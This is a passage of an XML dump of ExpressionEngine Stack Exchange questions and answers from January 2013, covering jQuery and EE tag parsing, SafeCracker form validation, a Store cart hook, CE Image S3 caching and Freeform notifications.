  <row Id="5635" PostTypeId="1" AcceptedAnswerId="5637" CreationDate="2013-01-31T11:23:58.740" Score="0" ViewCount="269" Body="&lt;p&gt;I want to output the width of the window in a tag. So for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:resolution:width}&#xA;    {width}&#xA;{/exp:resolution:width}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where {width} would display the width from my jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;$(window).resize(function() {&#xA;var width = $(window).width();&#xA;$(&quot;.test&quot;).text(width);&#xA;});&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have, is I can't figure out how to get my jQuery output into the tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have currently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;        $this-&gt;load-&gt;library('javascript');     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $width = $this-&amp;gt;EE-&amp;gt;javascript-&amp;gt;output(array(&#xA;        '$(window).resize(function() {&#xA;            var width = $(window).width();&#xA;            $(&quot;.test&quot;).text(width);&#xA;         });'&#xA;    ));&#xA;&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    /* Create Tags*/&#xA;    $data = array(&#xA;        &quot;test&quot; =&amp;gt; $width,&#xA;    );&#xA;&#xA;    $variables = array();&#xA;    $variables[] = $data;&#xA;&#xA;    /* Output Tags */&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to have the tag updated every time the window is resized?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="293" LastEditDate="2013-01-31T12:36:45.520" LastActivityDate="2013-01-31T13:38:25.873" Title="Output jQuery value in EE tag" Tags="|plugin|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5636" PostTypeId="2" ParentId="5630" CreationDate="2013-01-31T12:37:33.833" Score="4" Body="&lt;p&gt;You can use &lt;code&gt;{global:env}&lt;/code&gt; and &lt;code&gt;{global:env_full}&lt;/code&gt; by default. To add in extra variables see the &lt;code&gt;$master_global&lt;/code&gt; array in config.master.php.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-31T12:37:33.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5637" PostTypeId="2" ParentId="5635" CreationDate="2013-01-31T12:39:17.240" Score="5" Body="&lt;p&gt;Your EE tag can only output the jQuery snippet. It cannot run jQuery server-side and produce the width value for you to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jQuery snippet will run in the browser when the page loads, after the EE tag has rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot gain access to a jQuery/client-side value in server-side code before the page has been rendered. You should just keep this in client-side jQuery and adapt based on the width value using jQuery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-mobile-device-detect&quot; rel=&quot;nofollow&quot;&gt;MX Mobile Detect&lt;/a&gt; may be what you're looking for to use in your template. I've used that for width-based conditional output. &lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-31T13:38:25.873" LastActivityDate="2013-01-31T13:38:25.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5638" PostTypeId="2" ParentId="5635" CreationDate="2013-01-31T12:39:52.707" Score="3" Body="&lt;p&gt;You won't be able to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery happens on the client side and your EE tags are parsed on the server side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE tags are, therefore, already parsed before you are able to do anything with jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever you are trying to achieve may be possible via a different route but not this way.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-31T12:39:52.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5640" PostTypeId="1" AcceptedAnswerId="5781" CreationDate="2013-01-31T12:50:31.517" Score="1" ViewCount="56" Body="&lt;p&gt;I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {cf_concerts_media_assets var_prefix=&quot;asset&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;download_icon&quot; href=&quot;{asset:url}&quot;&amp;gt;{if asset:title}{asset:title}{if:else}{asset:filename}{/if} ({asset:size})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/cf_concerts_media_assets}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with or without the prefix it is rendering the size in bytes instead of the formatted version?&#xA;I am on EE 2.5.5 and assets 2.0.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-02-04T09:38:53.663" Title="{size} is displayed unformatted?" Tags="|assets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5641" PostTypeId="2" ParentId="5635" CreationDate="2013-01-31T13:25:14.603" Score="2" Body="&lt;p&gt;Like others have said - you can't do this. The page is already rendered by the time the JavaScript runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to detect for mobile devices though, if that's what you're ultimately trying to do. There are a &lt;a href=&quot;http://devot-ee.com/search/results?keywords=mobile&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;bunch of add-ons&lt;/a&gt; that could help you with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They mostly function something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if mobile}&#xA;  Show mobile content.&#xA;{if:else}&#xA;  Show regular content.&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-31T13:25:14.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5643" PostTypeId="2" ParentId="5619" CreationDate="2013-01-31T13:48:37.913" Score="0" Body="&lt;p&gt;I haven't tried it yet, but you may want to give &lt;a href=&quot;http://devot-ee.com/add-ons/more-entries&quot; rel=&quot;nofollow&quot;&gt;More Entries&lt;/a&gt; a shot to avoid the embed.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-31T13:48:37.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5644" PostTypeId="1" CreationDate="2013-01-31T13:53:02.063" Score="2" ViewCount="269" Body="&lt;p&gt;I have a safecracker form which I am using to register contacts for a contact manager. In an effort to eliminate duplications I would like the safecracker form to query the database and check for duplicate email or names in the contact entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to install Ajax form Validator Plugin but the plugin does not seem to work and the developer is not responding in the help section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use Jquery/Ajax to perform an inline check before submitting the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the script for the faulty Ajax Form Validator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajax_form_validator:script entry_id=&quot;none&quot; form_id=&quot;comment_form&quot; submit_button_id=&quot;submit_button&quot; async_url=&quot;http://www.elinex.co.za/contact-manager/ajax_form_validator_async/&quot; parse=&quot;inward&quot;}&#xA;&#xA;{ajax_form_validator field=&quot;name&quot; required=&quot;yes&quot; deny_duplicate_data_field=&quot;exp_members.screen_name|exp_members.username&quot; duplicate_data_exception_field=&quot;exp_members.email&quot; duplicate_data_exception_contained_in=&quot;email&quot; field_required_alert_text=&quot;ERROR!\nName field cannot be empty!&quot; invalid_indicator_id=&quot;name_field&quot; invalid_class=&quot;invalidated&quot; javascript_alert=&quot;yes&quot; min_length=&quot;2&quot; max_length=&quot;30&quot; regex=&quot;/^[a-zA-Z0-9]+([\.\_\-][a-zA-Z0-9]+)*$/&quot; min_length_alert_text=&quot;ERROR!\nThe name cannot consist of one letter.&quot; max_length_alert_text=&quot;ERROR!\nThe name cannot be longer than 30 characters.&quot; duplicate_data_alert_text=&quot;ERROR!\nThe name you entered is already in use by a registered member.&quot; regex_alert_text=&quot;ERROR!\nThe name you entered contains illegal characters or character combinations.&quot;}&#xA;&#xA;{ajax_form_validator field=&quot;email&quot; required=&quot;yes&quot; deny_duplicate_data_field=&quot;exp_members.email&quot; duplicate_data_exception_field=&quot;exp_members.screen_name|exp_members.username&quot; duplicate_data_exception_contained_in=&quot;name&quot; field_required_alert_text=&quot;ERROR!\nEmail field cannot be empty!&quot; invalid_indicator_id=&quot;email_field&quot; invalid_class=&quot;invalidated&quot; javascript_alert=&quot;yes&quot; max_length=&quot;50&quot; max_length_alert_text=&quot;ERROR!\nThe email address cannot be longer than 50 characters.&quot; regex_alert_text=&quot;ERROR!\nInvalid email address.&quot; duplicate_data_alert_text=&quot;ERROR!\nThe email you entered is already in use by a registered member.&quot; regex=&quot;/^([a-z0-9\+_\-]+)(\.[a-z0-9\+_\-]+)*@([a-z0-9\-]+\.)+[a-z]:LD:2,6:RD:$/i&quot;}&#xA;&#xA;{/exp:ajax_form_validator:script}&#xA;&#xA;{exp:safecracker channel=&quot;member_profiles&quot; url_title=&quot;{segment_3}&quot; dynamic_title=&quot;[member_first_name] [member_last_name]&quot; return=&quot;contact-manager/added/ENTRY_ID&quot;}&#xA;&#xA;&amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot; class=&quot;text&quot;/&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; class=&quot;text&quot;/&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;submit_button&quot; style=&quot;margin-left:0px;&quot; value=&quot;Add Contact&quot;/&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="433" LastEditorUserId="293" LastEditDate="2013-02-06T15:51:16.957" LastActivityDate="2013-02-06T17:20:02.503" Title="SafeCracker and Querying the database in the search for duplicate content" Tags="|safecracker|ajax|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5645" PostTypeId="1" AcceptedAnswerId="5836" CreationDate="2013-01-31T15:03:14.313" Score="0" ViewCount="60" Body="&lt;p&gt;I am working through the tangled web that is the EE Forum templates in search of the correct template for adding a link to the emoticons (smileys). So far I am coming up empty handed. Anyone with experience out there that can point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-02-05T00:07:50.330" Title="What Forum Template do I modify to display Smileys?" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5646" PostTypeId="2" ParentId="5617" CreationDate="2013-01-31T15:36:13.230" Score="2" Body="&lt;p&gt;If you're only concerned about system messages associated with &lt;em&gt;login and registration&lt;/em&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;FreeMember&lt;/strong&gt;&lt;/a&gt; is a great add-on and does away with them entirely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There won't be any flashes of &quot;You are now logged in&quot; etc, and it will also display any error messages inline.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-01-31T15:36:13.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5647" PostTypeId="2" ParentId="5603" CreationDate="2013-01-31T16:24:20.417" Score="3" Body="&lt;p&gt;Based on Adrian's suggestion, and my thoughts before seeing his response I used one of Store's  hooks to modify the product modifiers when the cart is updated. Its also crucial to update the product sku and the mod_values array. When those are updated in the store_cart_update_start hook it will trigger Store to swap the item entirely (b/c each modifier is a separate sku) and update all the prices accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the embed code was changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product &#xA;    entry_id=&quot;{embed:entry_id}&quot; &#xA;    disable_form=&quot;yes&quot; &#xA;    disable_javascript=&quot;yes&quot;}&#xA;&#xA;    {modifiers}&#xA;        {if modifier_name == &quot;Quantity&quot; OR modifier_name == &quot;quantity&quot;}&#xA;            &amp;lt;select name=&quot;update_modifier[{embed:key}][{embed:modifier_id}]&quot;&amp;gt;&#xA;                {modifier_options}&#xA;                    &amp;lt;option value=&quot;{option_id}__{option_name}__{option_sku}&quot; {if &quot;{embed:option_id}&quot; == &quot;{option_id}&quot;}selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                        {option_name}{if price_mod_val} ({price_mod}) {/if}&#xA;                    &amp;lt;/option&amp;gt;&#xA;                {/modifier_options}&#xA;            &amp;lt;/select&amp;gt;&#xA;        {/if}&#xA;    {/modifiers}&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the select name is a custom value I made up and has nothing to do with Store. The hook used to modify it is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_cart_update_start($cart, $update_data)&#xA;{&#xA;    // Only if submitted via the cart page. &#xA;    // This hook is called when an item is added to the cart as well... we don't&#xA;    // want to do anything to the item at that point.&#xA;    if ( ! ($updates = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('update_modifier')))&#xA;    {&#xA;        return $cart;&#xA;    }&#xA;&#xA;    foreach ($updates as $update_item_key =&amp;gt; $update_data)&#xA;    {&#xA;        foreach ($cart['items'] as $item_key =&amp;gt; $item)&#xA;        {&#xA;            if ($item_key == $update_item_key)&#xA;            {&#xA;                foreach ($item['modifiers'] as $modifier_key =&amp;gt; $modifier_data)&#xA;                {&#xA;                    foreach ($modifier_data as $name =&amp;gt; $value)&#xA;                    {&#xA;                        if ($name == 'modifier_id' AND isset($update_data[$value]))&#xA;                        {&#xA;                            $parts = explode('__', $update_data[$value]);&#xA;&#xA;                            $option_id = $parts[0];&#xA;                            $modifier_value = $parts[1];&#xA;                            $new_sku = isset($parts[2]) ? $parts[2] : $item['sku'];&#xA;&#xA;                            $cart['items'][$item_key]['sku'] = $new_sku;&#xA;                            $cart['items'][$item_key]['modifiers'][$modifier_key]['option_id'] = $option_id;&#xA;                            $cart['items'][$item_key]['modifiers'][$modifier_key]['modifier_value'] = $modifier_value;&#xA;&#xA;                            $modifier_id = $cart['items'][$item_key]['modifiers'][$modifier_key]['modifier_id'];&#xA;                            $cart['items'][$item_key]['mod_values'][$modifier_id] = $option_id;&#xA;                        }&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return $cart;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hook gets called when an item is added to the cart, and when an update_cart submit button is clicked. This hook updates the cart['items'] array that is saved in the cart with the new values.&lt;/p&gt;&#xA;" OwnerUserId="82" LastEditorUserId="82" LastEditDate="2013-01-31T19:45:56.163" LastActivityDate="2013-01-31T19:45:56.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5648" PostTypeId="1" AcceptedAnswerId="5724" CreationDate="2013-01-31T16:59:17.227" Score="2" ViewCount="368" Body="&lt;p&gt;We're running a portfolio site for a photographer using EE, and he's got about 2 gigs worth of JPEGs on S3. CE Image is used to create two versions of each photo in his portfolio (thubmnail and web-sized).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when CE Image does this, it stores a copy of the original source image, as well as the two processed versions, in the local directory specified by &lt;code&gt;ce_image_remote_dir&lt;/code&gt;, even though the output is going to S3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{url-to-source-on-s3}&quot; quality=&quot;85&quot; max_width=&quot;980&quot; bucket=&quot;s3-bucket-name&quot; cache=&quot;yes&quot; refresh=&quot;600&quot;}&#xA;    {aws_url}&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a result, we end up with a full copy of everything the client has on S3 on the EE box; is there any way to prevent the storage of, and/or automatically purge the files in &lt;code&gt;ce_image_remote_dir&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-02-01T21:24:50.423" Title="Prevent/Purge Local Caching of S3 Files with CE Image" Tags="|ce-image|cache|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5649" PostTypeId="1" AcceptedAnswerId="5656" CreationDate="2013-01-31T17:29:08.503" Score="0" ViewCount="87" Body="&lt;p&gt;I recently purchased postmaster and unable to create a new parcel, when I try to save a parcel it loads the EE control panel home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.2&lt;br&gt;&#xA;Postmaster 1.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also woud like to not that the  &quot;preview&quot; pans, loads my control panel home page too.&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="386" LastEditDate="2013-01-31T17:34:48.610" LastActivityDate="2013-01-31T18:46:05.873" Title="Postmaster Issues" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5651" PostTypeId="1" AcceptedAnswerId="5653" CreationDate="2013-01-31T17:51:49.217" Score="1" ViewCount="1053" Body="&lt;p&gt;I've created some menu buttons I no longer need, and want to remove them from the top menu of my ExpressionEngine control panel. Could someone please teach me how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;" OwnerUserId="905" LastActivityDate="2013-01-31T17:56:54.320" Title="Remove Custom Button from the Control Panel Menu" Tags="|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5652" PostTypeId="2" ParentId="5651" CreationDate="2013-01-31T17:54:07.237" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt; has been one of my default add-ons when I set up EE just for this purpose. I typically move most of EE's menus &amp;amp; tabs under an &quot;ExpressionEngine&quot; tab, and then curate which tabs are available to the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can apply those changes to Member Groups instead of setting them up as custom tabs per member&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-31T17:54:07.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5653" PostTypeId="2" ParentId="5651" CreationDate="2013-01-31T17:56:54.320" Score="7" Body="&lt;p&gt;When you go to &quot;My Account&quot; in Control Panel you can see &quot;Main Menu Manager&quot; link under &quot;Customize Control Panel&quot;. Follow that link and you'll see the list of your buttons. To delete a button, clear its name and submit the form.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-31T17:56:54.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5654" PostTypeId="1" AcceptedAnswerId="5655" CreationDate="2013-01-31T18:23:46.380" Score="0" ViewCount="979" Body="&lt;p&gt;What is the procedure for downloading and installing the alternative themes for ExpressioneEngine's Control Panel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read in one of the books available on the topic that there are three additional Control Panel themes available: &quot;Corporate&quot;, &quot;Fruit&quot; and &quot;Mobile&quot;, but I can't find them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be grateful for some help!&lt;/p&gt;&#xA;" OwnerUserId="905" LastActivityDate="2013-02-01T05:31:38.190" Title="Control Panel Themes" Tags="|control-panel|cp-themes|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5655" PostTypeId="2" ParentId="5654" CreationDate="2013-01-31T18:35:11.887" Score="1" Body="&lt;p&gt;Corporate is in my cp_themes folder in the 2.5.5 download, but Fruit &amp;amp; Mobile are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should pose this question to EllisLab via their Support channel or in the Forums as I'm not seeing any way to access these under My Purchases on their site.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-31T18:35:11.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5656" PostTypeId="2" ParentId="5649" CreationDate="2013-01-31T18:46:05.873" Score="2" Body="&lt;p&gt;It may be related to how your site directory is setup relative to where you are accessing the CP from - &lt;a href=&quot;http://devot-ee.com/add-ons/support/postmaster/viewthread/8324&quot; rel=&quot;nofollow&quot;&gt;see this support thread on devot:ee&lt;/a&gt;. Justin claims he'll be fixing this in a future release.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-31T18:46:05.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5657" PostTypeId="2" ParentId="4981" CreationDate="2013-01-31T20:07:37.197" Score="0" Body="&lt;p&gt;Last update: this bug fix has been incorporated into Assets (&lt;a href=&quot;http://pixelandtonic.com/assets/releasenotes&quot; rel=&quot;nofollow&quot;&gt;Release Notes)&lt;/a&gt;.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-31T20:07:37.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5658" PostTypeId="2" ParentId="5117" CreationDate="2013-01-31T20:09:15.057" Score="0" Body="&lt;p&gt;This is fixed in the latest versions of &lt;a href=&quot;http://pixelandtonic.com/assets/releasenotes&quot; rel=&quot;nofollow&quot;&gt;Assets ( now up to 2.0.4)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-31T20:09:15.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5659" PostTypeId="2" ParentId="4893" CreationDate="2013-01-31T20:11:46.410" Score="1" Body="&lt;p&gt;This should no longer be a problem in the latest version of Assets.  (&lt;a href=&quot;http://pixelandtonic.com/assets/releasenotes&quot; rel=&quot;nofollow&quot;&gt;Release Notes)&lt;/a&gt;.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-31T20:11:46.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5660" PostTypeId="2" ParentId="4902" CreationDate="2013-01-31T20:18:38.300" Score="0" Body="&lt;p&gt;We're up to 2.0.4 and this should no longer be showing up as an issue for you guys. &lt;a href=&quot;http://pixelandtonic.com/assets/releasenotes&quot; rel=&quot;nofollow&quot;&gt;Release Notes here&lt;/a&gt;.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-31T20:18:38.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5661" PostTypeId="2" ParentId="5243" CreationDate="2013-01-31T20:51:45.923" Score="2" Body="&lt;p&gt;I have run into this problem also. The developer of Expresso has indicated that &lt;a href=&quot;http://devot-ee.com/add-ons/support/expresso/viewthread/6139#27588&quot; rel=&quot;nofollow&quot;&gt;this is not supported and might never be.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I don't have a solution, I did some tests to see if any other &quot;wysiwyg&quot;-style fieldtypes support this. Here's what I found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Native RTE: No&lt;/li&gt;&#xA;&lt;li&gt;Expresso: No&lt;/li&gt;&#xA;&lt;li&gt;Wygwam: Yes&lt;/li&gt;&#xA;&lt;li&gt;Wyvern: Yes&lt;/li&gt;&#xA;&lt;li&gt;Redactee: Yes&lt;/li&gt;&#xA;&lt;li&gt;Editor (DevDemon): Yes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="390" LastEditorUserId="390" LastEditDate="2013-02-01T15:10:29.683" LastActivityDate="2013-02-01T15:10:29.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5662" PostTypeId="2" ParentId="5619" CreationDate="2013-01-31T21:01:03.643" Score="1" Body="&lt;p&gt;I believe your answer is a combination of the other answers/comments here, so I'll try to summarize. You have three potential problems: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First: &lt;code&gt;url_title={segment_2}}&lt;/code&gt; needs to be &lt;code&gt;url_title=&quot;{segment_2}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: Unless your embed is in the same template group, &lt;code&gt;{embed=&quot;event_video&quot;}&lt;/code&gt; won't find it, so check that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, the URL segments are not going to work like this. When you call an embed, your last URL segment is the template name itself, nothing after it. In this case, if you are using a &lt;code&gt;/event_video&lt;/code&gt; and that's the last thing in that URL.  You can, however, use variables within the embed tag to pick what entries the embed shows. In the example below, I'll assume you are passing an entry ID that would pick a specific video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Template (Simplified)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;events&quot; limit=&quot;1&quot; url_title=&quot;{segment_2}&quot;}&#xA;    &amp;lt;div class=&quot;video-box&quot;&amp;gt;&#xA;       {embed=&quot;templategroup/event_video&quot; the_id=&quot;{video_id}&quot;}&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embedded Template (Simplified)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;news&quot; limit=&quot;1&quot; entry_id=&quot;{embed:the_id}&quot;}&#xA;    &amp;lt;a href=&quot;http://www.google.com&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="772" LastEditorUserId="772" LastEditDate="2013-01-31T22:46:42.010" LastActivityDate="2013-01-31T22:46:42.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5663" PostTypeId="1" AcceptedAnswerId="5664" CreationDate="2013-01-31T21:02:14.980" Score="1" ViewCount="168" Body="&lt;p&gt;This is a follow-up to my &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5553/can-i-use-ee-fieldnames-in-freeform-form-tag&quot;&gt;previous question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m trying to send the output of a particular form to two emails: one, a generic alias that is hardcoded in; and the other, the individual originator's email which is listed in the individual channel entry. When I test the form, I receive notification at the hardcoded email address, but not at the individual entry/originator address. I’ve tried this with the hardcoded email in first position, and in second position; and I still get the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel name is “originators”. The field name is “originator_email”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL is &lt;a href=&quot;http://dev.soundmtg.com/originator/lesli-schauf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dev.soundmtg.com/originator/lesli-schauf&lt;/a&gt; (the site’s index.php is hidden from the URLs, so originator is the template group, and this uses the index template in that group.) In the entry, the originator_email is leslis@fairplay.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine 2.5.3&#xA; Freeform 4.0.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s the code that I’m using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;originators&quot; &#xA;disable=&quot;member_data|categories|member_data|pagination&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;h1 class=&quot;form_title&quot;&amp;gt;Quick Quote&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:freeform:form &#xA;    form_name=&quot;quick_quote&quot; &#xA;    return=&quot;thanks&quot; &#xA;    admin_notify=&quot;lesli.schauf@gmail.com|{originator_email}&quot; &#xA;    recipient_user_template=&quot;quick_quote&quot; &#xA;    required=&quot;first_name|email_address&quot; &#xA;    form:id=&quot;quote_form&quot; &#xA;    admin_notification_template=&quot;quick_quote_notification&quot;&#xA;}&#xA;&#xA;&amp;lt;fieldset class=&quot;quote_main&quot;&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;first_name&quot;&amp;gt;&amp;lt;span class=&quot;form_star&quot;&amp;gt;*&amp;lt;/span&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot;/&amp;gt;&#xA;        &amp;lt;label for=&quot;last_name&quot;&amp;gt;&amp;lt;span class=&quot;form_star&quot;&amp;gt;*&amp;lt;/span&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; id=&quot;last_name&quot;/&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;fieldset class=&quot;left&quot;&amp;gt;&#xA;        